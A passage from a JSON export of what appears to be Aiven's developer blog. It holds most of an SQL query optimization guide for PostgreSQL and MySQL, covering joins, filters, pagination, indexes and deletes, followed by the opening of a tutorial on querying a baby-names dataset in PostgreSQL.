JOIN`.\n\n**Golden rule**\n\nEvaluate the exact requirements for the `JOIN` statement, and analyze the existing `WHERE` condition. If not strictly necessary, prefer an `INNER JOIN`.\n\n**Pro Tip**\n\nCheck also if you can avoid a join altogether. If, for example, we are joining the data only to verify the presence of a row in another table, a subquery using `EXISTS` might be way faster than a join. Check a detailed example in the [How to speed up COUNT(DISTINCT)](https://www.eversql.com/how-to-speed-up-countdistinct/#Speed_up_COUNTDISTINCT_by_avoiding_explodeimplode_patterns_with_DISTINCTGROUP_BY) blog.\n\n\n#### Optimize SELECT SQL queries by using the same column type for joins\n\n**How**\n\nWhen joining two tables, ensure that the columns in the join condition are of the same type. Joining an integer `Id` column in one table with another `customerId` column defined as `VARCHAR` in another table will force the database to convert each `Id` to a string before comparing the results, slowing down the performance.\n\n\n![Set of steps required for non matching column types join condition](https://cdn.sanity.io/images/sczeoy4w/production/25356e62358ee5bc3b908df6ff581fdb40fbe363-2362x1010.png)\n\n\n**Warning**\n\nYou can’t change the source field type at query time, but you can expose the data type inconsistency problem and fix it in the database table. When analyzing if the `CustomerId` field can be migrated from `VARCHAR` to `INT`, check that all the values in the column are integers indeed. If some of the values are not integers, you have a potential data quality problem.\n\n**Pro Tip**\n\nWhen in doubt, prefer more compact representations for your joining keys. If what you’re storing can be unambiguously defined as a number (e.g. a product code like `1234-678-234`) prefer the number representation since it will: \n\n* Use less disk\n* Be faster to retrieve\n* Be faster to join since integer comparison is quicker than the string version\n\nHowever, beware of things that look like numbers but don't quite behave like them - for instance, telephone numbers like `015555555` where the leading zero is significant.\n\n#### Optimize SELECT SQL queries by avoiding functions in joins\n\n**How**\n\nSimilarly to the previous section, avoid unnecessary function usage in joins. Functions can prevent the database from using performance optimizations like leveraging indexes. Just think about the following query:\n\n```sql\nSELECT * \nFROM users \nJOIN orders ON UPPER(users.user_name) = orders.user_name\n```\n\nThe above uses a function to transform the `user_name` field to upper case. However this could be a signal of poor data quality (and a missing foreign key) in the `orders` table that should be solved.\n\n**Warning**\n\nQueries like the one above can showcase a data quality problem solved at query time which is only a short term solution. Proper handling of data types and quality constraints should be a priority when designing data backend systems. \n\n**Golden rule**\n\nIn a relational database, the joins between tables should be doable using the keys and foreign keys without any additional functions. If you find yourself needing to use a function, fix the data quality problem in the tables. In some edge cases using a function in conjunction with an index could help to speed up the comparison between complex or lengthy data types. For example, checking the equality between two long strings could potentially be accelerated by comparing initially only the first `50 characters`, using the joining function `UPPER(SUBSTR(users.user_name, 1, 50))` and an index on the same function. \n\n\n#### Optimize SELECT SQL queries by avoiding joins\n\n**How**\n\nQueries can be built over time by different people and have a lot of sequential steps in the shape of CTE (common table expression). Therefore it might be difficult to understand the actual needs in terms of data inputs and outputs. Most of the time, when writing a query, you can add an extra field “just in case it is necessary” at a later stage. However this could have tremendous effects on performance if the field is coming from a new table requiring a join. \n\nAlways evaluate the strict data needs of the query and include only the columns and the tables which contain this information.\n\n\n![Avoid unnecessary joins](https://cdn.sanity.io/images/sczeoy4w/production/9cd536becc3aa0b59c0f37cdd69aeaec76c698f9-3200x1148.png)\n\n\n**Warning**\n\nDouble check if the join is needed to filter rows existing in both tables. In the example above, we could end up with incorrect results if there are `user_id` present in the `orders` table that are not stored in the `id` column of the `users` table.\n\n**Golden rule**\n\nRemove unnecessary joins. It is far more performant to generate a slimmer query to retrieve the overall dataset and then perform a lookup for more information only when necessary.\n\n**Pro Tip**\n\nThe example explained above is just one case of `JOIN` overuse. Another example is when we are joining the data only to verify the presence of a row in another table. In such cases a subquery using `EXISTS` might be way faster than a join. Check a detailed example in the [How to speed up COUNT(DISTINCT)](https://www.eversql.com/how-to-speed-up-countdistinct/#Speed_up_COUNTDISTINCT_by_avoiding_explodeimplode_patterns_with_DISTINCTGROUP_BY) blog.\n\n\n### Optimize SELECT SQL queries by improving filtering\n\nAfter analyzing the JOIN condition it is now time to evaluate and improve the `WHERE` part of the query. Like the section above, subtle changes to the filtering statement can have a massive impact on query performance.\n\n\n#### Optimize SELECT SQL queries by avoiding functions in filtering\n\n**How**\n\nApplying a function to a column in the filtering phase slows down the performance. The database needs to apply the function to the dataset before filtering. Let’s take a simple example of filtering on a timestamp field:\n\n```sql\nSELECT count(*) \nFROM orders\nWHERE CAST(order_timestamp AS DATE) \u003e '2024-02-01';\n```\n\nThe above query on a 100.000.000 row dataset runs in `01 min 53 sec` because it needs to change the data type of the `order_timestamp` column from timestamp to date before applying the filter. But, that’s not necessary! As [EverSQL by Aiven](https://www.eversql.com/?utm_medium=organic\u0026utm_source=ext_blog\u0026utm_content=aivensqloptimization) suggests, if you give it the above query and table metadata, it can be rewritten to:\n\n```sql\nSELECT count(*) \nFROM orders\nWHERE order_timestamp \u003e '2024-02-01 00:00:00';\n```\n\nThe rewritten query uses the native timestamp field without casting. The result of such small change is that the query now runs in `20 sec`, nearly 6 times faster than the original.\n\n![Filter using native column types](https://cdn.sanity.io/images/sczeoy4w/production/264f4a794d334c7a6808b28bdf2ecf7b2854325a-3200x448.png)\n\n\n**Warning**\n\nNot all functions can be avoided, since some might be needed to retrieve parts of the column value (think about `substring` examples) or to reshape it. Nevertheless, every time you are about to add a function in a filter, think about alternative ways to use the native data type operators.\n\n**Golden rule**\n\nWhen applying a filter to a column, try to reshape the filter format rather than the column format. \n\nThe above is a perfect example: moving the filter format from the date `2024-02-01 `to the timestamp `2024-02-01 00:00:00` allowed us to use the native timestamp data format and operators.\n\n**Pro Tip**\n\nIf applying the function is a must, you can try the following two options:\n\n\n\n* Create an index on the expression, available in [PostgreSQL](https://www.postgresql.org/docs/current/indexes-expressional.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-index-functional-key-parts)\n* Use database triggers to populate an additional column with the transformation already in place\n\n\n#### Optimize SELECT SQL queries by improving subqueries\n\n**How**\n\nSubqueries are commonly used in filters to retrieve the set of values to be applied as filters. A common example is when needing to retrieve the list of users having recent activity.\n\n```sql\nSELECT *\nFROM users\nWHERE id IN (\nSELECT DISTINCT user_id \nFROM sessions \nWHERE session_date = '2024-02-01');\n```\n\nThe above query retrieves the distinct list of users from the `SESSIONS` table and then applies the filter on the `USERS` table. However, there are several, more performant, ways of achieving the same results. An example is using `EXISTS`:\n\n```sql\nSELECT * \nFROM users\nWHERE EXISTS (\nSELECT user_id \nFROM sessions \nWHERE user_id = id and session_date = '2024-02-01'\n);\n```\n\n`EXISTS` is faster since it doesn’t need to retrieve the list of distinct users from the `SESSION` table, but it just verifies the presence of at least one row in the table for a specific user. The use case above went from a performance of `02 min 08 sec` to `18 sec` by just changing the subquery section.\n\n**Warning**\n\nSubtle changes in the subquery could provide different results in corner cases. For an example of subtle differences in execution and result set check out [5 Ways to implement NOT EXISTS in PostgreSQL](https://www.eversql.com/5-ways-to-implement-not-exists-in-postgresql)\n\n**Golden rule**\n\nWhen needing to use subqueries, take time to learn and understand what are the options and what they allow you to achieve. Several times there’s more than one option and some functionalities will provide better response times.\n\n#### Optimize SELECT SQL queries by paginating results\n\n**How**\n\nWhen needing to display a long list of rows, it’s useful to paginate the results retrieved from the database. Both [PostgreSQL](https://www.postgresql.org/docs/current/queries-limit.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/select.html) offer the functionality to `LIMIT` the output to retrieve only a certain amount of rows and to `OFFSET` the result set by retrieving only rows in a specific range based on ordering. Using `LIMIT` and `OFFSET` is a good way to minimize the data sent to clients to only the one needed to be displayed.\n\n![Paginate results](https://cdn.sanity.io/images/sczeoy4w/production/534d7ce4e98c8f932a4bc8df0514cf65f430d6ef-2830x1640.png)\n\n\n**Warning**\n\nThe drawback of using `LIMIT` and `OFFSET` is that you’ll need a query for each “page” to be sent and executed to the database. This could be inconvenient if the overall number of rows is not far from the page size. As example, if you’re showing results in pages of `10` rows, but there are on average `15` rows to display, it might be better to retrieve the entire dataset at once.\n\n**Golden rule**\n\nIf the size of the resultset is an order of magnitude larger than the page size, using paging can be an effective way to ensure better performance, since only the visible dataset will be retrieved from the database.\n\n**Pro tip**\n\nThe `LIMIT` and `OFFSET` clauses are the default pagination method in most databases. However, more efficient paging implementations can be achieved by storing the starting and ending offsets of the current page on the client side and pushing the filtering for the following page in the `WHERE` clause of the SQL statement. A couple of examples of this implementation are available in the [Pagination done the PostgreSQL Way](https://use-the-index-luke.com/blog/2013-07/pagination-done-the-postgresql-way) presentation by Markus Winand and in the [faster pagination in MySQL blog](https://www.eversql.com/faster-pagination-in-mysql-why-order-by-with-limit-and-offset-is-slow/).\n\n#### Optimize SELECT SQL queries by moving filters from HAVING to WHERE clause\n\n**How** \n\nWhen running a query the filters defined in the `WHERE` and `HAVING `clauses are applied at different times:\n\n\n\n* The `WHERE` filters are applied on the raw dataset, before any data transformation defined in the `SELECT` statement is applied\n* The `HAVING` filters are applied post aggregation, therefore after all the rows have been retrieved, transformed and rolled up.\n\nTherefore moving filters in the `WHERE` section should be a priority since it allows you to work on a smaller dataset. An example is if we try to get the list of dates for which we have a session with a tracked `user_id` (the `user_id` field is not null, to know more about the difference check the [COUNT DISTINCT blog post](https://www.eversql.com/how-to-speed-up-countdistinct/))\n\n```sql\nSELECT session_date, count(user_id) nr_sessions\nFROM sessions\nGROUP BY session_date\nHAVING count(user_id) \u003e 0;\n```\n\nWe can rewrite the above query by pushing the filter into the `WHERE` clause with:\n\n```sql\nSELECT session_date, count(user_id) nr_sessions\nFROM sessions\nWHERE user_id is not null\nGROUP BY session_date\n```\n\nThe query performance, on a `100.000.000` rows dataset went from `21 sec` to `18 sec` with just a change in the filters statement.\n\n**Warning**\n\nMoving filters from the `HAVING` to the `WHERE` clause is possible only if we can determine a similar condition that applies at row level instead of the one applying at aggregate level.\n\n**Golden rule**\n\nAlways try to filter in the `WHERE` clause since the filtering applies before the data is transformed/aggregated by the `SELECT` statement.\n\n\n### Optimize SELECT SQL queries by defining the columns to be retrieved\n\n**How**\n\nWhen querying a table, it’s key to identify which columns need to be retrieved. The `SELECT * FROM TBL` is often used as a shortcut to retrieve all columns and then define which need to be shown at a later stage, however when doing so, more data needs to be retrieved from the database and transmitted, impacting the performance.\n\n![Define the columns to be retrieved](https://cdn.sanity.io/images/sczeoy4w/production/6d6fc299df6da45e92bd61893276cbcd72b6e1a0-3200x800.png)\n\n**Warning**\n\nIt's not only that using `SELECT * FROM TBL` often retrieves more data than necessary, it is also prone to errors. Just think about a new column being added, that is instantly shown in an application or a removed column in the database now breaking the front-end parsing. By cautiously defining the list of columns to be retrieved you precisely state the data needs of your query.\n\n**Golden rule**\n\nEvery `SELECT` statement should only define the list of columns needed to accomplish the job. \n\n\n### Optimize SELECT SQL queries by using aggregate functions\n\n**How**\n\nSometimes the objective is to query a table to get the overall count of rows, or the aggregate value for a certain set of columns. In such cases extracting all the data from the database and performing the computation elsewhere is a bad idea. We can make use of the native database aggregation functionality to make the computation where the data resides, move less data around and achieve better overall performance.\n\n![Perform aggregations in the database](https://cdn.sanity.io/images/sczeoy4w/production/93162a251ed33078aa6adf893d010ef85ee00f11-3200x710.png)\n\n\nIf you’re trying to count the distinct values within columns, we have an article dedicated to [how to enhance the COUNT DISTINCT query speed](https://www.eversql.com/how-to-speed-up-countdistinct/).\n\n**Warning**\n\nWhile database aggregate functions cover a wide range of needs (see [PostgreSQL](https://www.postgresql.org/docs/current/tutorial-agg.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html)), they might not contain the exact calculation you need to perform. In such cases, understand what is the minimal granularity you need to extract and aggregate at that level.\n\n**Golden rule**\n\nWhen needing to perform aggregation, check the database functions available. Despite the fact that one of the database scaling rules is to be biased towards client side, pushing the aggregation there, it is often worth using the aggregations server side to diminish the amount of data transmitted to the client. Moreover, databases can implement advanced techniques to optimize the aggregation calculation.\n\n\n### Optimize SELECT SQL queries by using window functions\n\n**How**\n\nWindow functions, available in [PostgreSQL](https://www.postgresql.org/docs/current/tutorial-window.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html), provide a way to calculate aggregated values and compare them with the current row value. They can be really useful when needing, for example, to calculate the overall contribution of a certain sale to the overall country total. Using window functions allows you to simplify the query SQL and take advantage of the database optimizer to decide the best set of actions needed to retrieve the data.\n\n![Use Database window functions](https://cdn.sanity.io/images/sczeoy4w/production/3d7a3b12f48b3c99bfdb754baf82b87f60ad2a35-3200x1168.png)\n\n\n**Warning**\n\nWindow functions don’t change the cardinality of the dataset. For example, if you’re retrieving data at ORDER level, the window function will still emit one line per order. Evaluate the cardinality of data you need in the output and then decide whether to use window or aggregate functions.\n\n**Golden rule**\n\nSimilarly to above, adopting window functions can be a powerful method to pre-compute calculations before sending data to clients. Yet the code to generate them is quite verbose. Define your priority between full query SQL optimization and code readability and maintainability.\n\n**Pro tip**\n\nThe windows functions are not only useful for aggregating content at a certain level, but they also expose an `ORDER BY` statement allowing you to perform running calculations.\n\n\n### Optimize SELECT SQL queries by using partitions\n\n**How**\n\nAnother technique to speed up SELECT performance, is to segment the data into multiple sub-tables called partitions. Partitioning is available in [PostgreSQL](https://www.postgresql.org/docs/current/ddl-partitioning.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/partitioning.html) to split the data across a number of tables depending on a predicate. If you frequently need to retrieve the data with a specific filter, for example a date, you might want to organize it in different partitions, one per day, so the majority of queries will only scan a partition instead of the whole data set.\n\n![Use table partitioning](https://cdn.sanity.io/images/sczeoy4w/production/cf3970b88babc839b00dad1e3268ba5e8e782088-3200x870.png)\n\n\n**Warning**\n\nDespite partitioning being “invisible” from the user (a certain user can query the original table and select data from all partitions), you need to take into account its management. Specifically for LIST partitioning, when a new key is inserted, a proper partition needs to be created upfront otherwise the insert will fail.\n\n**Golden rule**\n\nPartitioning can be very useful in contexts where there are consistent query patterns filtering the dataset using the same key. Partitioning tables without clear filtering criteria only adds workload to the database, making every query slower.\n\n\n### Optimize SELECT SQL queries by using materialized views\n\n**How**\n\nMaterialized views, available in [PostgreSQL](https://www.postgresql.org/docs/current/rules-materializedviews.html), are a great way to speed up `SELECT` statements by pre-calculating the results. Materialized views differ from standard views since:\n\n* They store the result of the query in a table\n* They need to be refreshed to provide up-to-date results\n\nStill, if you have read intense environments with rare writes, paying the price for a materialized view refresh that can be used by several reads might be an optimal method to increase your query performance.\n\n![Use Materialized views to pre-aggregate data](https://cdn.sanity.io/images/sczeoy4w/production/143bfd76b516d9958add46f1c4cce5810cdbb47b-3200x1510.png)\n\n\n**Warning**\n\nAs mentioned above, materialized views are static objects, they are not automatically updated on every insert/update/deletion of the underlying set of tables. Therefore it is crucial to keep in mind that querying a materialized view could provide different results from querying the original tables.\n\n**Golden rule**\n\nIf your primary goal is to have better performance at the cost of not retrieving up-to-date results, then materialized views are a perfect solution. Keep in mind that materialized views occupy space on disk and their creation or refresh are time and performance consuming. \n\n**Pro tip**\n\nMaterialized views are great in cases where complex queries are scanning data in the past that can’t be updated. In such cases creating a materialized view for old data and querying the source tables live for fresh data could be a good mix of providing optimal performance without reporting stale data.\n\n\n## How to optimize INSERT SQL queries\n\n\n### Optimize INSERT SQL queries by using dedicated functionality\n\n**How**\n\nThe standard practice to load data in a database is to use the `INSERT` statement. However some databases have dedicated tooling to insert big chunks of data directly from source files in a variety of formats like binary or CSV. \n\nTools like [PostgreSQL COPY](https://www.postgresql.org/docs/current/sql-copy.html) or MySQL [LOAD DATA](https://dev.mysql.com/doc/refman/8.0/en/load-data.html) allow you to directly point to a CSV or binary file and are optimized for loading huge amounts of data, usually resulting in faster ingestion times compared to a series of `INSERT` statements.\n\n**Warning**\n\nWhile both [PostgreSQL COPY](https://www.postgresql.org/docs/current/sql-copy.html) or MySQL [LOAD DATA](https://dev.mysql.com/doc/refman/8.0/en/load-data.html) will be faster than loading each row in a separate `INSERT` statement, they will both load the data in one big transaction putting the database under stress. Moreover, the long transaction will also be a bottleneck in the replication process, increasing the lag while the replicas are replaying it. Moreover, if a backup is taken **while** the big transaction is happening, a restore will be forced to rollback all the changes already stored in the backup, making the restore process slower.\n\n**Golden rule**\n\nTry to find the optimal spot between ingestion throughput and transaction size. Splitting a massive data file in smaller chunks and loading it using [PostgreSQL COPY](https://www.postgresql.org/docs/current/sql-copy.html) or MySQL [LOAD DATA](https://dev.mysql.com/doc/refman/8.0/en/load-data.html) could be the perfect middleground giving you the required speed but not adding too much stress to the database.\n\n**Pro tip**\n\nIf the data in the source file doesn’t match the format of the target table(s), reshaping the source data properly by using an external script might be faster than loading the data in a temporary table and then reshaping it in the database.\n\n\n### Optimize INSERT SQL queries by removing unnecessary indexes\n\n**How**\n\nIndexes are widely adopted to speed up database read patterns, however they create a penalty for every write operation (`INSERT`/`UPDATE`/`DELETE`) since the database needs to update both the source table and the index. \n\n![INSERT statement modifies both the table and the index structure](https://cdn.sanity.io/images/sczeoy4w/production/1050482e5c802aab4650584cb674d6bdc6dc6542-3160x2360.png)\n\n\nTherefore, to optimize write workloads, you might want to check if all the indexes in your table(s) are necessary and actively used by your read patterns. To check indexes usage, you can rely on the database system tables, like [PostgreSQL pg_stat_user_indexes](https://www.postgresql.org/docs/current/monitoring-stats.html) or the [MySQL table_io_waits_summary_by_index_usage](https://dev.mysql.com/doc/mysql-perfschema-excerpt/8.3/en/performance-schema-table-io-waits-summary-by-index-usage-table.html), providing up-to-date statistics about queries impacting the indexes. An example of PostgreSQL 16 `pg_stat_user_indexes` output is the following:\n\n```\n relid | indexrelid | schemaname | relname | indexrelname | idx_scan | last_idx_scan | idx_tup_read | idx_tup_fetch\n-------+------------+------------+---------+------------------+----------+-------------------------------+--------------+---------------\n 16460 | 16466 | public | orders | idx_order_date | 1 | 2024-01-01 11:15:10.410511+00 | 10 | 10\n 16460 | 16465 | public | orders | idx_order_status | 4 | 2024-02-08 11:16:00.471185+00 | 0 | 0\n(2 rows)\n\n```\n\nWhere we can see that both the `idx_order_date` and `idx_order_status` indexes have been scanned one and four times respectively, with `idx_order_date` being scanned the last time on `2024-01-01 11:15:10.410511+00`. Since the index hasn’t been used since January, it could be a good candidate for deletion.\n\n[EverSQL by Aiven](https://www.eversql.com/?utm_medium=organic\u0026utm_source=ext_blog\u0026utm_content=aivensqloptimization) provides a redundant index detection capability that can automate the discovery of unused indexes.\n\n![EverSQL by Aiven index suggestion](https://cdn.sanity.io/images/sczeoy4w/production/4bd7231f3d5c5414d773fe6b369ecb6340ba5c2b-3200x1152.png)\n\n\nOnce you identify unused indexes, dropping them will provide benefits in terms of write performance and less disk space usage.\n\n**Warning**\n\nIndexes are key to speed up read operations, and dropping them could have an impact on all `SELECT` queries. Understanding the read/write patterns in your database is crucial to optimize the whole experience rather than just one ingestion statement.\n\n**Golden rule**\n\nAnalyze the overall database workload and define performance optimization priorities. Based on these, evaluate the overall set of indexes available and define which need to be kept or can be dropped.\n\n**Pro tip**\n\nIf your data load statements happen during quiet read timings, like when loading a data warehouse overnight, you might obtain better ingestion performances by:\n\n* Disabling indexes\n* Loading the data\n* Re-enabling indexes\n\n\n### Optimize INSERT SQL queries as if it was a SELECT statement\n\n**How**\n\nIn many cases `INSERT` statements contain business logic parts, exactly as `SELECT` queries, meaning they can contain `WHERE` clauses, subqueries, and more.\n\nExtracting the internal part of the query and optimizing it (via indexing, partitioning, query rewriting, etc.) as if it was a `SELECT` query can result in performance improvements.\n\n**Warning**\n\nThe `INSERT` is a write workload for the database, therefore you need to be cautious in finding the exact boundaries of where the business logic in the `INSERT` statement can be accelerated without compromising the read workload's performance.\n\n**Golden rule**\n\nIf your `INSERT` statement is selecting data from another table(s) in the database you can follow the rules detailed in the `SELECT` section. If you have clear data boundaries used in both `INSERT` and `SELECT` statements (`WHERE` conditions), then partitioning the tables could speed up both processes. \n\n\n## How to optimize DELETE SQL queries\n\n\n### Optimize DELETE SQL queries by removing unnecessary indexes\n\n**How**\n\nLikewise insert also deletes (and updates) performance can benefit from removing unnecessary indexes. \n\n**Warning**\n\nDepending on the workload, deletes might not be as frequent as insert/updates. Over optimizing for deletes might have drawbacks in performance or complexity of more common read/write patterns.\n\n**Golden rule**\n\nAnalyze the overall database workload and define performance optimization priorities. Based on these, evaluate the overall set of indexes available and define which need to be kept or can be dropped.\n\n\n### Optimize DELETE SQL queries by using TRUNCATE\n\n**How**\n\nIf your aim is to delete **all** the rows from a table, `TRUNCATE` is your friend. Available in both PostgreSQL and MySQL (as well as other databases), the truncate doesn’t perform a tuple-by-tuple deletion but it just tells the database to store all the new table’s data in a new empty location. It’s therefore much faster compared to a `DELETE FROM TABLE`.\n\n![Use TRUNCATE to delete all rows from a table](https://cdn.sanity.io/images/sczeoy4w/production/722a212d049c6fb8fcddc09a5fb83c8999b37256-2400x2320.png)\n\n\n**Warning**\n\nThe truncate works only if you need to delete **ALL** the rows from a table. If you need only to delete a specific set of rows, this is not an option and possibly you should look at partitioning. `TRUNCATE` and `DELETE` have different privileges, needs and execution, understanding them (in [MySQL](https://dev.mysql.com/doc/refman/8.0/en/truncate-table.html) and [PostgreSQL](https://www.postgresql.org/docs/current/sql-truncate.html)) is key to ensure the correct operation is used.\n\n**Golden rule**\n\nWhen designing database tables, analyze your needs also in terms of data retention. If a table needs only to contain the “most recent” data, design it with both frequent inserts and deletes in mind.\n\n**Pro Tip**\n\nUsing partitioning, or creating time bound tables (e.g. `SALES_01_2024`) can be a way to speed up deletions since an entire table can be truncated.\n\n\n### Optimize DELETE SQL queries by using table partitioning\n\n**How**\n\nEvolving the previous section, if your aim is to periodically delete data based on known rules, for example depending on a date field, you can use partitioning. Partitioning is available in [PostgreSQL](https://www.postgresql.org/docs/current/ddl-partitioning.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/partitioning.html) to split the data across a number of tables depending on a predicate. If you need to delete the entire subset of the data included in a partition, you can simply truncate the partition itself.\n\n![Table partitioning](https://cdn.sanity.io/images/sczeoy4w/production/cf3970b88babc839b00dad1e3268ba5e8e782088-3200x870.png)\n\n\nThe partitioning predicate could be either by:\n\n* **RANGE**: defining a set of ranges associated with each partition in the table\n* **LIST**: defining a fixed list of values associated with each partition in the table\n* **HASH**: defining the partition based on a user-defined function\n* **KEY**: available in MySQL, provides an HASH partitioning using MySQL hashing function\n\n**Warning**\n\nDespite partitioning being “invisible” from the user (a certain user can query the original table and select data from all partitions), the management of a partitioned table needs to be taken into account. Specifically for LIST partitioning, when a new key is inserted, a proper partition needs to be created upfront.\n\n**Golden rule**\n\nPartitioning can be very useful in contexts where there’s a clear boundary across the dataset in terms of time or other column (e.g. country). Partitioning tables without clear filtering criteria only adds workload to the database, making every query slower.\n\n\n### Optimize DELETE SQL queries by splitting the statements in chunks\n\n**How**\n\nWhen executing a massive `DELETE` operation, divide the amount of data to be removed in smaller chunks by applying additional `WHERE` conditions. With such technique you can obtain a process for easier to track, a faster rollback in case of failures and usually overall better performance.\n\n**Warning**\n\nDividing a `DELETE` operation over multiple smaller statements exposes you to the risk of lacking consistency and missing some rows due to non-overlapping data subsets. Therefore you need to ensure to meet your consistency requirements, and that the set of statements generated contain the whole set of rows that the original query was addressing.\n\n**Golden rule**\n\nSplitting the `DELETE` operation in chunks can be a good method to speed up performance and generate less impact on the database at once. Apply this method if you have a specific set of data with clear boundaries for write and read operations (e.g. `COUNTRY` or `DATE`) that you can use as a splitting key.\n\n\n### Optimize DELETE SQL queries by executing DELETE less often\n\n**How**\n\nIn some use-cases you might want to delete the data every day, for example when needing to delete old data older than 30 days. However, this operation will need to scan the whole table every day. For such use cases you can leverage a combined logic of:\n\n\n\n* Not showing old results with smart `SELECTS` (not retrieving data older than 30 days)\n* Deleting data only when space reclamation is useful (when running out of disk space)\n\nMoreover, in PostgreSQL and MySQL, deleting a small portion of the dataset in a table is not going to lead to significant disk savings, since it will just [generate free space in the pages hosting the table data](https://www.google.com/url?q=https://jfg-mysql.blogspot.com/2017/07/innodb-compaction.html\u0026sa=D\u0026source=docs\u0026ust=1707753160642232\u0026usg=AOvVaw2nUTuUDmp0082dAi2J4oy6). \n\n**Warning**\n\nYou might be legally forced to delete old data on schedule. In this scenario evaluate your data retention needs wisely and plan data deletion accordingly. A smart partition design can help in providing fast deletion statements via truncate.\n\n**Golden rule**\n\nDesign your data retention policies and related deletion statements wisely. Don’t plan for big space savings if you don’t plan to delete the majority of your dataset.\n\n\n### Optimize DELETE SQL queries by not executing the DELETE\n\n**How**\n\nIf you’re deleting most of the data in a large table, it can be much faster to:\n\n* Create a new table\n* Copy the small portion that is still needed\n* Drop the old table\n* Rename the table\n\n![Insert to a new table instead of deleting](https://cdn.sanity.io/images/sczeoy4w/production/79d6bc5a1ba02ab193168f12ad9ae39851a30581-3200x1376.png)\n\n\n**Warning**\n\nWhile this method might be quicker, it involves several operations in the database possibly preventing the normal functionality of the underlying tables. Be careful in understanding if you can perform the entire procedure while keeping the normal database functionality. Also, be mindful that this workaround will not work if you have referential constraints (like foreign keys pointing to some of the keys in the table). \n\n\n**Golden rule**\n\nWorkarounds like the above are ideal in situations where the database load has easy to forecast usage patterns. Performing the process during a low peak of traffic (or when no traffic is there at all) will provide the best `DELETE` performance while minimizing the disruption for the entire database functionality.\n\n\n## Conclusion\n\nOptimizing SQL statements can be a tedious task: you need to deeply understand both the database structures and the type of workload to optimize in order to achieve good results. Moreover, while optimizing a specific workload (for example an `INSERT` statement), you could impact the performance of other queries with different access patterns (like a `SELECT` or `DELETE`). \n\nTo have an holistic view of your data assets and supporting structures, understand performance variations and receive automatic, AI-assisted SQL optimization suggestions you can use [EverSQL by Aiven](https://www.eversql.com/?utm_medium=organic\u0026utm_source=ext_blog\u0026utm_content=aivensqloptimization). The EverSQL sensor, installed on any PostgreSQL and MySQL database, allows you to monitor slow queries and receive performance insights. The AI-driven engine analyzes your slow SQL statements, together with the existing supporting data structures, and provides both index recommendation and SQL rewrite suggestions to improve the performance.\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-02-22T15:15:59.625Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-02-19T09:35:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Test reading \"SQL query optimization: a comprehensive developer's guide\" and an Aiven logo","asset":{"_ref":"image-bbe8816829690721b1670cfc73e2a8072bbe0b1b-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/sql-query-optimization-guide"},"subtitle":"An SQL optimization guide for developers. With best practices, warnings, and pro tips to speed up your SQL query optimization.","tags":[{"_key":"b7c75eb42f95","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"3cd3dea77f1f","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"953d045c4ef7","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"},{"_key":"b29051c3e47b","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"4c225570a416","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"55cc08343292","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"}],"title":"SQL query optimization: a comprehensive developer's guide"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:14:36Z","_id":"2022191a-c1b2-4b3c-9e8f-3caa3a1240e9","_rev":"VeNKqGNmt13PzvGhqsT6mI","_type":"devArticle","_updatedAt":"2024-01-29T15:50:24Z","body":"Naming variables is one of the hardest problems in Computer Science, but when the variable is a new life, the challenge can rise quite significantly. Family names, personal preferences, celebrities, vetoes, word sound, it all goes into the decision mix! Even more, the possible pool of names is huge - and we all know that the traditional \"let's browse for names in a book\" approach doesn't scale anymore with the ever-increasing set of options. \n\nHelp is needed, and this blog post shows how PostgreSQL® can help us refine our search and get us closer to a final selection.\n\n::alert[All choices, decisions, and names used in this example are pure imagination and don't represent any kind of recommendation!]{type=\"warning\"}\n\n\n## Get the dataset\n\nTo start with, we need a dataset of valid names. This post uses [this collection of baby names from data.world](https://data.world/alexandra/baby-names), for which you need a valid account to access the data.\n\nOnce you have created the account, you will be able to download the dataset in a `babynames-clean.csv` file on your local machine.\n\n## Create a PostgreSQL service and load the data\n\nYou can run PostgreSQL locally or, if you prefer, create an instance using Aiven for PostgreSQL® with the [Aiven CLI command](https://aiven.io/docs/tools/cli/service.html#avn-service-create), as shown below:\n\n```shell\navn service create demo-pg \\\n --service-type pg \\\n --cloud google-europe-west3 \\\n --plan hobbyist\n```\n\nThe command starts creation of a PostgreSQL service (`--service-type pg`) on the Google Europe West 3 cloud region with the minimal `hobbyist` plan, which is enough for our needs. The service takes a couple of minutes to start, and we can wait for it to be up with:\n\n```shell\navn service wait demo-pg\n```\n\nOnce the service is in `RUNNING` state, we can connect to it with the following command that calls `psql` under the hood:\n\n```shell\navn service cli demo-pg\n```\n\nAfter connecting we need to create a table, since `babynames-clean.csv` doesn't contain any header:\n\n```sql\ncreate table names (name text, gender text);\n```\n\nNow it's time to copy the data:\n\n```sql\n\\copy names from 'babynames-clean.csv' csv\n```\n\nNow the data is loaded in the `names` table and we can start the research of our imaginary baby's name.\n\n## Initial scanning and filtering of the data \n\nOkay, time to choose a name! Is it going to be a boy or a girl? If you already have that information, it's going to cut out half of the options, since the query below shows that we have a more or less equal amount of male and female names.\n\n\n```sql\nselect \n gender, \n count(*) nr_names \nfrom names \ngroup by gender;\n```\n\nThe result shows slightly more boys' names than girls'.\n\n```\n gender | nr_names \n--------+----------\n girl | 3345 \n boy | 3437 \n(2 rows)\n```\n\nWhat if we don't know the gender yet, and we have almost _seven thousand names_ to pick from? Scanning all of them one by one is not an option. We need to apply some filters.\nDo you have a long surname? It might be nice to save the poor kid from the stress of writing out a long first name as well. Let's filter for names with fewer than 6 characters.\n\n```sql\nselect 